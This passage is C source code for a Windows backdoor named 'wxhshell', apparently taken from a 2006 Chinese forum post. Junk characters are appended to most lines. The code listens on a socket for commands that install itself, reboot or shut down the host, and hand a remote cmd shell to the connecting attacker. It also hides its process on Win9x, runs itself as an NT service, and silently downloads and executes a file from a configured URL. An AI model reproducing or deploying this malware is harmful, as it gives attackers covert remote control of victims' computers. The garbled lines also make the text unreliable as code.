  else .aZB?M W  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :x q^T  
  } ,hK =x  
  else { b<fN,U< k  
Ct /6<  
    switch(cmd[0]) { yMNOjs'c {  
  j+< !4 0#  
  // 帮助 <\:*cET3  
  case '?': { ve#[LBOC8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); dd=5`Bo9Yh  
    break; ]Gl_L7u`  
  } ^R\5'9K!  
  // 安装 e /XOmv  
  case 'i': { Kc9)Lzu+  
    if(Install()) HH!SqkwT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *=z.H  *  
    else 6w<p1qhW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UL7%6v{'*  
    break; ~R|fdD/%  
    } AF{o=@  
  // 卸载 ,^xsdqpe  
  case 'r': { uJ*|SSN~  
    if(Uninstall()) YVY(uq)d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !oV'  
    else x2i`$iNhmP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Fo"' [`  
    break; 0A ~f ^  
    } YS"76FJ  
  // 显示 wxhshell 所在路径 /? j^Qu  
  case 'p': { 8HO)",+I  
    char svExeFile[MAX_PATH]; zJ0'KHF}o  
    strcpy(svExeFile,"\n\r"); 8/34{2048  
      strcat(svExeFile,ExeFile); nDC5/xB  
        send(wsh,svExeFile,strlen(svExeFile),0); qmnCa&C9  
    break; RDG,f/L2  
    } I@a7!ugU65  
  // 重启 XeBSHvO_  
  case 'b': { ;`bJgSCfo  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); MD:kfPQ  
    if(Boot(REBOOT)) G[yN*C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Dc> )js|"  
    else { 6a`_i  
    closesocket(wsh); kLY9#p=X  
    ExitThread(0); \t&6$"n(B6  
    } I|[aa$G  
    break; ?yz}  
    } NOmSLIgt7  
  // 关机 j1toV$)P  
  case 'd': { 1/q iE{NW  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [laX~(ND{  
    if(Boot(SHUTDOWN)) .yj=*N.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 48%a${Nvvj  
    else { Ah2XwFg?  
    closesocket(wsh); @p2dXJeR<  
    ExitThread(0); =09j1:''<d  
    } *DoEDw  
    break; ~h[lu^ZSi  
    } G@Zi3 5  
  // 获取shell S+OI?QS  
  case 's': { ")M.p_b[Z=  
    CmdShell(wsh); u= +  
    closesocket(wsh); f{z%PI[  
    ExitThread(0); {78*S R  
    break; {K0T%.G  
  } uJp}9B60_  
  // 退出 g9"_BG  
  case 'x': { 1y8:tri>N  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); tT#Q`cB  
    CloseIt(wsh); \ZDT=?  
    break; yM D* >8/  
    } .y[K =p3  
  // 离开 $l[*Y  
  case 'q': { 1@qb.9wZ6  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7iJk0L$]x  
    closesocket(wsh); .r*b+rc;]  
    WSACleanup(); U ._1'pW  
    exit(1); =yNHJHRA#  
    break; #XY]@V\  
        } cwC, VYVl  
  } J2[QHr&tn  
  } qP<,"9!I  
\M532_w  
  // 提示信息 }w]xC  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +`Bn]e8O  
} n _ez6{  
  } GRV9s9^  
j1iC1=`ZM  
  return; Q6W)rJ[|  
} /tv;W  
ti#sh{t  
// shell模块句柄 ;^8^L'7cr  
int CmdShell(SOCKET sock) &% r#eB?7  
{ 22r01qH  
STARTUPINFO si; O}f(h5!k  
ZeroMemory(&si,sizeof(si)); a!^wc,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; A07 P$3>/W  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +@qk=]3a  
PROCESS_INFORMATION ProcessInfo; XP;&iZJ  
char cmdline[]="cmd"; tB3CX\e  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); uN(~JPAw5  
  return 0; J+|ohA  
} q@-qA]  
@>:07]Dxo  
// 自身启动模式 imhq*f#A[  
int StartFromService(void) l?1!h2z%  
{ p+7BsW.l  
typedef struct !^fJAtCN]  
{ ;VFr5.*x  
  DWORD ExitStatus; lqCn5|S]  
  DWORD PebBaseAddress; g^4FzJ  
  DWORD AffinityMask; =U2Te  
  DWORD BasePriority; .}<B*e=y  
  ULONG UniqueProcessId; 9iy|=  
  ULONG InheritedFromUniqueProcessId; @ :4Kk 4g1  
}   PROCESS_BASIC_INFORMATION; pNJM]-D]m~  
.- Lqo=o\  
PROCNTQSIP NtQueryInformationProcess; n1/lE)  
Wkk Nyg,  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1;gSf.naG  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "qm>z@K  
mfN@tMp  
  HANDLE             hProcess; rWs5s!l,  
  PROCESS_BASIC_INFORMATION pbi; KJ)&(Yx  
FVmg&[ .  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); C|J1x4sb@  
  if(NULL == hInst ) return 0; 85{vz|(':  
~&/Gx_KU  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _z5CplO  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); C|zH {.H  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); wf@2&vJ  
Qd4T?5 vG  
  if (!NtQueryInformationProcess) return 0; &P3vcB  
LI<5;oE;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;MJ1Q  
  if(!hProcess) return 0; JAz;_wS(k  
-N(MEzAE  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ">9CN$]J  
KTEis!w  
  CloseHandle(hProcess); VT7NWT J,  
a !K;8#xc  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &Kp+8D*  
if(hProcess==NULL) return 0; U}0/V c26  
a&hM:n4P  
HMODULE hMod; JrAc]=  
char procName[255]; @#tSx  
unsigned long cbNeeded; T_Y}1n|7[  
{@$3bQ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %nh'F6bNgv  
R4(8]oUW  
  CloseHandle(hProcess); /6c10}f  
lp UtNy  
if(strstr(procName,"services")) return 1; // 以服务启动 P.B'Gh#^  
]c2| m}I{:  
  return 0; // 注册表启动 OJ 5 !+#>  
} mD)O\.uA  
ix+x-G  
// 主模块 i|^6s87"N2  
int StartWxhshell(LPSTR lpCmdLine) EvmmQ  
{ 1W[(+TZ&s  
  SOCKET wsl; Q9>]@DrAx  
BOOL val=TRUE; []0~9,u  
  int port=0; :a@z53X@M  
  struct sockaddr_in door; $SVGpEw  
)+,jal^7  
  if(wscfg.ws_autoins) Install(); 9`{2h$U  
8w[EyVHA  
port=atoi(lpCmdLine); 9Ol_z\5  
CM1a<bV<  
if(port<=0) port=wscfg.ws_port; `=DCX%Vw  
[1^wy#  
  WSADATA data; yo,!u\^x  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; r&sOM_BUF  
p&mtKLv  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   G9inNz*Cx  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); np^<HfYV  
  door.sin_family = AF_INET; p'k+0=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  7~nCK  
  door.sin_port = htons(port); ONiI:Z>%  
z44~5J]  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { SYPMoE!U:  
closesocket(wsl); l|em E ^  
return 1; /*^|5>-`i1  
} Z;\"pP:  
6ya87H'e@  
  if(listen(wsl,2) == INVALID_SOCKET) { WUS9zK  
closesocket(wsl); X$iJ|=vW  
return 1; A i){,nh`0  
} /t)c fFM  
  Wxhshell(wsl); Z[S+L"0  
  WSACleanup(); hyfnIb@~}  
PZRn6Tc  
return 0; .{ a2z*o  
bK8F |  
} rOb"S*  
:yjK*"T|OD  
// 以NT服务方式启动 ZCFf@2&z8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) eSNSnh]'  
{ xcvr D  
DWORD   status = 0; '#PqI)P  
  DWORD   specificError = 0xfffffff; wKS-O%?  
gam#6 s  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %`1CE\f  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9XqAjez\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \Fg6b6  
  serviceStatus.dwWin32ExitCode     = 0; #x@lZ!Y  
  serviceStatus.dwServiceSpecificExitCode = 0; etMh=/NFV  
  serviceStatus.dwCheckPoint       = 0; 2qMsa>~  
  serviceStatus.dwWaitHint       = 0; Z WRRh^  
bH&)rn  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); bTQa'y`3  
  if (hServiceStatusHandle==0) return; g+ 1=5g  
/:{_|P\  
status = GetLastError(); )]c3bMVE-  
  if (status!=NO_ERROR) n,a5LR  
{ )1nCw  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #3yw   
    serviceStatus.dwCheckPoint       = 0; 83ic@[  
    serviceStatus.dwWaitHint       = 0; S50x0$%<W  
    serviceStatus.dwWin32ExitCode     = status; I cR;A\z  
    serviceStatus.dwServiceSpecificExitCode = specificError; h` h>H X  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); k7|z$=zY  
    return; Gh[`q7B Q  
  } _OU.JrqC  
;i9<y8Dha  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  Vm;Q w  
  serviceStatus.dwCheckPoint       = 0; 6$fnQcpJ  
  serviceStatus.dwWaitHint       = 0; + i@yZfT  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5Sjr6l3Vq8  
} sC5uA .?>9  
Jp3di&x  
// 处理NT服务事件,比如:启动、停止 &M3ES}6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) H]$=*(aje  
{  +iH30v  
switch(fdwControl) Jhsv2,8 {  
{ q X%vRf0  
case SERVICE_CONTROL_STOP: n~)HfY  
  serviceStatus.dwWin32ExitCode = 0; rH&r6Xv[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; s'aV qB  
  serviceStatus.dwCheckPoint   = 0; q bZ,K@0  
  serviceStatus.dwWaitHint     = 0; ?(/j<,m^  
  { mDF"&.(j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $rpTs?j*K$  
  } ]r6BLZ[%  
  return; leES YSY:  
case SERVICE_CONTROL_PAUSE: ke9QT#~p!-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Fb|e]?w  
  break; :x""E5H  
case SERVICE_CONTROL_CONTINUE: x #tu  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; V(2j*2R!  
  break; 8S1P&+iKs  
case SERVICE_CONTROL_INTERROGATE: RHx+HBZ  
  break; ~i }+P71  
}; }xf='lE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); nRXSW&V"m  
} kUg+I_j6*  
UGmuX:@y76  
// 标准应用程序主函数 :qAc= IC%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) r!.+XrYg  
{ i,'Ka[6   
O| 1f^_S/  
// 获取操作系统版本 xdL/0 N3  
OsIsNt=GetOsVer(); 50`iCD  
GetModuleFileName(NULL,ExeFile,MAX_PATH); EO].qN-8  
X$-b oe?  
  // 从命令行安装 %]chL.s  
  if(strpbrk(lpCmdLine,"iI")) Install(); m +Q5vkW  
Cv>yAt.3  
  // 下载执行文件 3_L1Wm  
if(wscfg.ws_downexe) { xz"Z3B  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) X%a;i6pq  
  WinExec(wscfg.ws_filenam,SW_HIDE); b$?Xn{Y  
} "B9[cDM&  
&N"'7bK6n  
if(!OsIsNt) { jB%"AvIX  
// 如果时win9x,隐藏进程并且设置为注册表启动 A-a17}fta  
HideProc(); coF T2Pq  
StartWxhshell(lpCmdLine); % QPWw~}:  
} BEXQTM3])I  
else h"u<E\g  
  if(StartFromService()) 'T)Or,d  
  // 以服务方式启动 m%oGzx+  
  StartServiceCtrlDispatcher(DispatchTable); 2#AeN6\@  
else 7`b lGzP_  
  // 普通方式启动 S9HBr  
  StartWxhshell(lpCmdLine); -}Cc"qm  
Mhe |eD#)  
return 0; (!ZQ  
}
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只看该作者 1 发表于: 2006-10-10
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